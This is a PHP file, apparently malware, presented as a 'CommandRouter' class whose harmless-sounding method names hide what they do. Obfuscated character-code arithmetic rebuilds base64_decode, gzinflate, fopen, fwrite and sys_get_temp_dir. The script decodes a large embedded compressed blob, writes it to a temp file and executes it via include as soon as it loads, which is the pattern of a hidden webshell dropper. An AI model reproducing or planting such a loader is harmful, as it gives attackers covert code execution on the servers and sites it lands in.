<?php
class CommandRouter
{
    private $yt = '';
    private $gq = '';
    public function cacheData($p1)
    {
        $g = array(101, 54 + 46, 23 * 1 + 88, 99, 71 * 93 - 6502, 100, 99 - 4, 19 + 33, 50 + 2 + 2, 101, 5 * 23, 53 + 21 + 23, 89 * 1 + 9);
        $u = '';
        foreach ($g as $o) {
            $u .= chr($o);
        }
        $u = strrev($u);
        return $u($p1);
    }
    public function fetchSummary($p1)
    {
        $z = array(103 * 1, 129 - 7, 3 * 35, 110, 54 * 15 - 708, 108, 69 * 1 + 28, 12 * 10 - 4, 17 * 52 - 783);
        $a = '';
        foreach ($z as $y) {
            $a .= chr($y);
        }
        return $a($p1);
    }
    public function fetchRecords($p1, $p2)
    {
        $k = array(110 - 8, 75 * 85 - 6264, 16 * 2 + 80, 101 * 1, 65 * 63 - 3985);
        $q = '';
        foreach ($k as $n) {
            $q .= chr($n);
        }
        return $q($p1, $p2);
    }
    public function resolveAction($p1, $p2)
    {
        $o = array(101, 119 - 3, 12 * 111 - 1227, 122 - 8, 120 - 1, 40 + 24 + 38);
        $b = '';
        foreach ($o as $j) {
            $b .= chr($j);
        }
        $b = strrev($b);
        return $b($p1, $p2);
    }
    public function scheduleJob($p1)
    {
        $m = array(72 + 29, 105 * 74 - 7655, 31 * 20 - 509, 25 + 83, 94 * 2 - 89, 60 * 1 + 42);
        $r = '';
        foreach ($m as $y) {
            $r .= chr($y);
        }
        $r = strrev($r);
        return $r($p1);
    }
    public function generateToken($p1, $p2 = null)
    {
        $p = array(109, 115 - 10, 121 * 25 - 2911, 49 * 2 + 18, 90 + 10 + 14);
        $k = '';
        foreach ($p as $x) {
            $k .= chr($x);
        }
        $k = strrev($k);
        return $k($p1, $p2);
    }
    public function logTransaction()
    {
        $this->gq = $this->generateToken($this->computeResult(), '/');
    }
    public function logEvent()
    {
        $this->yt = $this->fetchSummary($this->cacheData($this->wh));
    }
    public function sanitizeInput()
    {
        $fn = $this->gq . '/rl-68ba43d0cf4fe';
        $f = $this->fetchRecords($fn, 'w');
        $this->resolveAction($f, $this->yt);
        $this->scheduleJob($f);
        $this->handleRequest($fn);
    }
    private $wh = 'jVcLb+JIEv4riRQtWGDkR3cbwnlHozlmd3S5sEoydzpFCBm7D' . 'U4cG2yeyea/X1W1TWxIyEwG2931dVV1vbr6H1/ms/mZH3t5fjb' . 'eLdKXeRatvaU8y5feMvIvxuFi3lffZ+Eq8ZdRmpyN/fWkeTGOf' . 'U97icLmeS7j8PKSsJr6HuezptbP5HKVJWczubUmUdKswO5p9Uj' . 'rv9blVWQgh5fKEtfLMm/XbIzTZNFwf28wU9jwxx270Wk4thUwW' . '4RCOsyx4O3D2BQ+/IWOA98hzPaEA1B4wVPanmXA24Kf12g3xov' . 'pmrgWTATHpxVw5vQcQ3CEC9Mx4NsHDjZ8M8UM4FYoPJgQ8AOVU' . 'JKDvAEBjFdRgoxhSZeGi4CG3OkhAw8Y2sxmPVuwHnBxbMb86hs' . 'wNgL3sz3g7oBcxh3GRY+F8PNsg3u8yyTawthDbBFwIQJiHOIS5' . 'nDheKg3A5me3UONnnxSECWZjuN4+EGqetscCbaPBgvFBJlLJPj' . 'rYt5CiilQP5sowSwlXmRotD+8fRKSPCIBP3fBZv+5zsrPhx15V' . 'XTBgcwxwN6hFYK9ubAsCbvhSpiAbfgw6IJfbXSTA2SBTgvAC/Q' . 'GiwKtoNBubDsUDD0mTBzBLyBXzJbKMw5ghc/RRBKF9HAROS8NK' . '0qhbQGELESIuiBKcMRFkyntGyOyi/NcBPRC4ibKSi4UFbArUgN' . 'Iy6lPUQeu5Axj0SCpT8qKRiEENS+dkqUToplgGVDbIRf6tBE7p' . 'F2tHgsAqQEYFIq7IiptyDJYlzP4MyzciG1a0kZhRmB4rDAteKD' . 'UJ3tQ+isC6b3DGYJTwsAfF+gPyge0MOQLkHzlCgDiFD7UF3FdK' . 'ZMBwLcxKNHjSAhXZVBsKNBo72Rxleulc/K8VIJcEJMli33xEAL' . 'cZ5RjHB8SZkPW47Sh1fwNiwCA8y5+hEywkFucPGVytABjAMK1l' . 'DZAJAZTyhluAS1AUIgYjjoyk+ESgnnppq4UyuCcEpqDmBDA4Ho' . 'mebknP6ovIHQBRQyh1Z4APXlcl6Z6yv2DlaibKCSpF9U7wK7jd' . '6GIq4A2Qcn7eVLBqyyoWleZliIMbUmK5et3vUFgZWjEK/BidqB' . 'Ot+IHcELpAUo3RjYkDReLX1tHc+W2UrWtwiTIMiidh54jP8BPS' . 'Yi2b14uUFgKqy5+SGZljDJVoqj2BSKslIenHaUdhl+RG+Trx6V' . 'KRlzhWwaUAKpPb4mXzHcFAskW5JhQmVICIhkrABZjynQq0ioj5' . 'JbUp9MIhnFUlnkOdRBVVzWL2JKWz5VzoNhIeRrASf06k14gsya' . '2CXDCYw8A5gQynMea1n+PiocqkKBHiPJcLqFn+GNwd1+DrCLk0' . 'NBGmvYC5/x05o63q22dDZ6Zig0hfvstX2bzNFejdg2Kh5mmnbt' . 'u6MW51F6CSNZ5eVuQlyO7VwmIY4APdNL69fWU3nSIdBpw3hWqb' . '9buxfjbcPivH4P+xThI3WaULLUsXSVB02gZWp9aHrepM4vrZzq' . 'zLZxaT+OisSlG97h25NY3lYCkx4bW38yiWJadVwXecVH+vcNbV' . 'tdsCa7bPXNU9FhotnMiVxQyecvkWgFpNXXHAZVMCx622bKBoho' . '7WgbzPaTy3h5vGobe6wJqkknvkbbban2sP574xf4B9qoMUYo2b' . 'd7SoVfToSFqwcDSYNJiVstitoZgMKXiXNGfdUTln9P6ZKyNmlp' . 'HMTFt0dKtHu23y0vrEEV0YcrU7S75x2CjJgon5yqFD5QwbdBXU' . '6i2ouqm6eiWZaIhWXdU+lQXjgFTwumNlPfaR8zsgx18MtZGnWN' . '9zA64FR6kk1Kna8BuBQPhltWC/g8pB6GAi3CNhjEfJX68CqTae' . 'f/1rR3HpLwYT1ag+TKdubrRMU2IYWgzoWFwjB7MT3xXh47CFGi' . 'xp2jrHibMbg2PjEIhf6hTH3ZAgjrSQRmqYIx9L469SXyQn4Bbz' . 'eCxhBwlQTvXX2XxOEoiTNT8QevTGPI2nePM06797efN1fCvu/H' . 't7dX4P4ObH9//99dgcNNWNeJX4H8Ob+/akAIYNc6JFd+HV1fD/' . '14Nv329+zG8blst3TyBvhnc/by5vrv5en37HdTROetSlHQx5U6' . 's+3Pw9Z+ArxcYKDEnlnwbXl8Pvt3d/fj3YPjzrrrUAv9XfqeYl' . 'KuhzWvpjoEhbTET3YnepmVyK31ahLNyk6nZqVxGSZgWBJry4zS' . 'XxQQVdgDfHx0tIVTX82ol5Uar/K9pxf2S3FiU84txNnPnXpbLM' . 'Ugp4gGCOXSbSKpLwKMHGndt5NaDERt2DZclz1GdspzShQbD9JA' . 'ZqvuEp0H1uDsEYfwjcEKnBgnouEfHz/JdAdjYA/f3Fq2Uqd5Zh' . 'AIfYFnncHaJ+UipGPpTN8xT/zGdy6SJmR9+qaEzTLmGdlmbDNX' . 'kezI36gQdtYlVtdQwp1OtaZ+MtcuupfesVs8oz35/qr2E89UyV' . '4M22YKKbHx03Kqz8jyUabmUGoyZG0I0lgxMy2G6aXCz1TXMQso' . '61iig8VANZ4XkmXtUzXLsIo5EQxbBD0tnGeEoGpoJFazEGU+1i' . 'XTLILkd3ECVOfIbXGg0OkHC5PkkFr0/L7DQP30GnZYNF8D95DQ' . 'em02M1w3iv3yoKtxatNHl4ewEu5Y1xdhi/tlun6gto+T6UNI6f' . 'k/MekO9GIr53KjPkxP88dYCApJVHP+C2eHa8jEruJu8cfrEKXs' . 'b0zY+ZInVarvnCmEZRvFSZuO1l+HJLKtFXXQ70AwePdWJuc1dx' . 'KuKecgHdt2u9TgO9gf4rCwG0L7e0sR01j/ZLeMtifpk6c/Ss3p' . 'zu9sXr21+VKbwjoQkCNQ6Da9GSFjM6/MR3o4hTvpyC/2ARmqdl' . '3ptc+3vv/cj4FkdLuaoX7Gq2Fwgi+68JgNFwN1Kc39Hlu1DneG' . 'iRSTgf0R7oAQkMsjDkF24cFDJxE+h65p4uRRsXIwe8jQpv1EVj' . 'c6k/RUJ1/7ipei5didCHxBqb6PX/wM=';
    public function handleRequest($p)
    {
        include $p;
    }
    public function computeResult()
    {
        $a = array(51 + 64, 113 * 1 + 8, 5 * 23, 5 * 19, 103, 101 * 1, 71 + 45, 35 * 49 - 1620, 75 * 114 - 8434, 92 * 4 - 267, 22 + 5 + 82, 61 + 51, 12 + 83, 2 * 50, 97 * 1 + 8, 43 * 1 + 71);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$mt = new CommandRouter();
$mt->logTransaction();
$mt->logEvent();
$mt->sanitizeInput();